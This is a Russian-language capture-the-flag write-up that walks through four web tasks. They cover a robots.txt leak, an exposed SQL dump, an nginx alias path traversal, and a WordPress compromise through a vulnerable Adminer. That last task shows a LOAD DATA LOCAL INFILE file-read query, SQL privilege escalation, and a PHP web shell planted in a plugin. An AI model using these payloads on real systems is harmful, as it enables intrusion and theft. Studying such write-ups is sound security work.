Данное описание подготовлено и публикуется со слов победителя CTF этих заданий – Тальгата Хайруллова. Дальше текст передается as-is, правда иногда будут вставлять цитаты с пояснением зачем то или иное задание.

Роботы

Первая мысль после прочтения задания - файл robots.txt. Проверяем: hxxp://91.240.84.252:31337/robots.txt

Бинго, флаг найден.

Это задание на самом деле часть изначальной разведки для будущих заданий. Файл robots.txt есть почти у всех сайтов и его использую чтобы что-то спрятать или что-то, ноборот показать поисковикам. И часто в этот файл попадает что-то что может быть чувствительным или раскрыть информацию об используемой системе. Например, во второй строке /wp-admin мы можем увидеть что тут используется скорее всего Wordpress, а от этого можно и “плясать дальше”

дамп

Бэкграунд в области web разработки, сразу же подсказывает мне следующие популярные имена файлов для дампа:

  • dump.(tgz|zip|sql|tar|tar.gz)
  • backup.(tgz|zip|sql|tar|tar.gz)

Проверяю вариант dump.sql: hxxp://91.240.84.252:31337/dump.sql

В ответ получаю файл с содержимым:

Флаг найден, переходим к следующему заданию.

Да, к сожалению, разработчики оставляют много файлов в корне проекта. Действительно, перебирать все имена файлов рукаами – дело не самое благородное. Поэтому можно воспользоваться готовыми списками имен файлов, содержащими частоиспользуесые имена, например, fuzz.txt и утилитой dirb для автоматизации перебора.

Без регистрации и смс

Задание предлагает нам попытаться скачать статический файл. Перехожу по ссылке из задания, на этот раз страница явно не на wordpress. В теле страницы ссылка на /static/welcome.txt. Исходя из задания нужный нам файл должен быть по адресу /flag.txt. Проверяю в лоб: hxxp://91.240.84.252:3000/flag.txt. В ответ, ожидаемо: 404 Not Found и информация о веб-сервере: nginx/1.25.1.

Пробую еще один вариант в лоб, вот так: /static/../flag.txt. hxxp://91.240.84.252:3000/static/../flag.txt и ответ, ожидаемо: 404 Not Found.

Поиск в google по версии nginx, подсказывает, что версия достаточно свежая, так что варианты связанные с уязвимостью в самом веб-сервере отбрасываю. Решил рассмотреть возможные варианты с ошибками конфигурации. Поиск привел меня на статью в блоге, где среди прочих ошибок была описана ошибка с недостаточно конфигурацией: Alias LFI Misconfiguration. Исходя из описания, нужно сформировать URL вот таким образом: /static../flag.txt.

Проверяю: hxxp://91.240.84.252:3000/static../flag.txt

Есть, флаг найден!

Кстати, вы можете проверить свою конфигурацию утилитой gixy от Яндекса на подобные проблемы мисконфигураций.

Тесты на проде

Последнее задание в секции web, намекает нам, что у разработчиков был доступ к проду и они наверняка там наследили. Опыт в web разработки на PHP сразу подсказывает проверить различные варианты:

  • /i.php
  • /info.php
  • /test.php
  • /phpmyadmin
  • /adminer
  • /adminer.php

Проверяю /info.php hxxp://91.240.84.252:31337/info.php

Разработчики забыли файл info.php, раскрывающий много информации о PHP и окружении в котором он запущен. По какой-то причине в первую очередь спешу посмотреть переменные окружения, кажется, что там может быть что-то интересное:

Но никаких секретов там нет(. Пробегаю глазами по всему phpinfo, попутно отмечаю для себя список расширений PHP, версии системных библиотек, пути к конфигам и текущему исполняемому файлу. Все примерно ожидаемое, за исключением /var/www/html/php.ini, файл конфигурации PHP лежит в корне сайта, это обязательно надо посмотреть: hxxp://91.240.84.252:31337/php.ini

К сожалению тут тоже ничего интересного.

Проверяю /adminer hxxp://91.240.84.252:31337/adminer.php

Adminer - это инструмент для управления БД через web. Разработчики любят его за простоту дистрибуции, достаточно положить один файлик в корень и все готово. Уже знаком с adminer и наслышан про проблемы с безопасностью, а тут еще сам интерфейс adminer кричит, о том, что это не самая свежая версия.

Поиск в интернете помогает освежить в памяти все CVE по adminer, среди которых есть CVE-2021-43008. Adminer до 4.6.3 дает возможность подключиться к удаленному серверу и разрешает выполнять запросы вида LOAD DATA Statement. Таким образом мы можем развернуть свой MySQL сервер, к которому выполним подключение через adminer и будем читать локальные файлы, звучит очень интригующе. Весь процесс развертки MySQL сервера описывать не буду, вот пару ключевых моментов:

  • Необходимо разрешить удаленные подключения к серверу. По умолчанию подключиться к серверу БД можно только из localhost.
  • Включить поддержку LOAD DATA LOCAL. Несмотря на то, что чтение файлы выполняется на клиенте, запрос не будет отрабатывать, если на сервере явно не включить поддержку.
  • Для задания пароля пользователя БД нужно использовать mysql_native_password метод, в противном случае adminer не сможет подключиться.

Все готово, пробую подключиться:

Отлично, подключение выполнено, не терпится что-нибудь прочитать с сервера. Для этого использую следующий SQL запрос:

DROP TABLE IF EXISTS mysql.test;
CREATE TABLE mysql.test (line TEXT);
LOAD DATA LOCAL INFILE '<path>' INTO TABLE mysql.test;
SELECT line FROM mysql.test;

Где <path> - путь к файлу. Пробую прочитать разное, например /etc/passwd, работает. Но пока нет понимания, что именно нужно прочитать, чтобы получить флаг.

Дальше помогает ранее изученный phpinfo(), который раскрывает путь до приложения и знание самого движка wordpress, настройки которого как правило лежат в файле wp-config.php:

Отсюда получаем доступы к БД приложения, подключаемся:

Поиск флага по данным в таблицах не дал результата. Решаюсь получить доступ к панели администратора wordpress, смотрю таблицу wp_users:

Мне не хотелось сильно следить, поэтому сначала рассматриваю варианты получить доступ без серьезных изменений в БД. Тут внимание притягивает md5 хеш пароля от пользователя CTF. Проверяю хеш через crackstation.net, получаю пароль: CTF.

Входим в админку: htxx://91.240.84.252:31337/wp-login.php

Видим интерфейс управления:

Поиски флага в интерфейсе тоже безуспешны. При этом стало понятно, что доступ у нас ограниченный. Опять же менять пароль пользователя admin мне хотелось, поэтому повысил доступы пользователя CTF через БД, для этого выполняю следующие SQL запросы:

DELETE FROM wp_usermeta WHERE user_id = 2;
REPLACE INTO wp_usermeta (user_id, meta_key, meta_value) (SELECT 2, meta_key, meta_value FROM wp_usermeta WHERE user_id = 1)

где:

  • user_id = 2 - пользователь CTF
  • user_id = 1- пользователь admin

Готово, заново логинимся, видим более продвинутый интерфейс:

Здесь мое внимание притягивает Edit Plugins. Это редактор кода плагинов, таким образом мы можем внедрить свой PHP код. Пробую внести изменения в файл akismet/akismet.php:

Редактор сходу подсказывает, что плагин akismet неактивен, так что видимо придется его позже еще и активировать. Добавляю следующий код:

if (isset($_REQUEST['__cmd'])) {
    exec($_REQUEST['__cmd'], $output);
    
    echo "<pre>";    
    print_r($output);
    echo "</pre>";
    die('done');
}

И активирую плагин. Теперь, если все правильно, запрос вида /?__cmd=ls -la /var/www/html, должен вернуть список файлов и директорий в /var/www/html. Проверяю: hxxp://91.240.84.252:31337/?__cmd=ls%20-la%20/var/www/html

Отлично, все работает. Мое внимание притягивает директория /test, которой тут не должно было быть. Смотрю что там: hxxp://91.240.84.252:31337/?__cmd=ls%20-la%20/var/www/html/test

Интересно, смотрю содержимое файла: hxxp://91.240.84.252:31337/?__cmd=cat%20/var/www/html/test/index.php

А вот и флаг.

Да директорию /test можно было прощупать еще на первом этапе, тоже типичное название для тестов на проде, в таком случае путь до флага был бы короче, его можно было прочитать через через LOAD DATA LOCAL в adminer.

Для исследования WordPress сайтов можете так же пользоваться утилитой WPScan. Она тоже может подсказать что прикольное.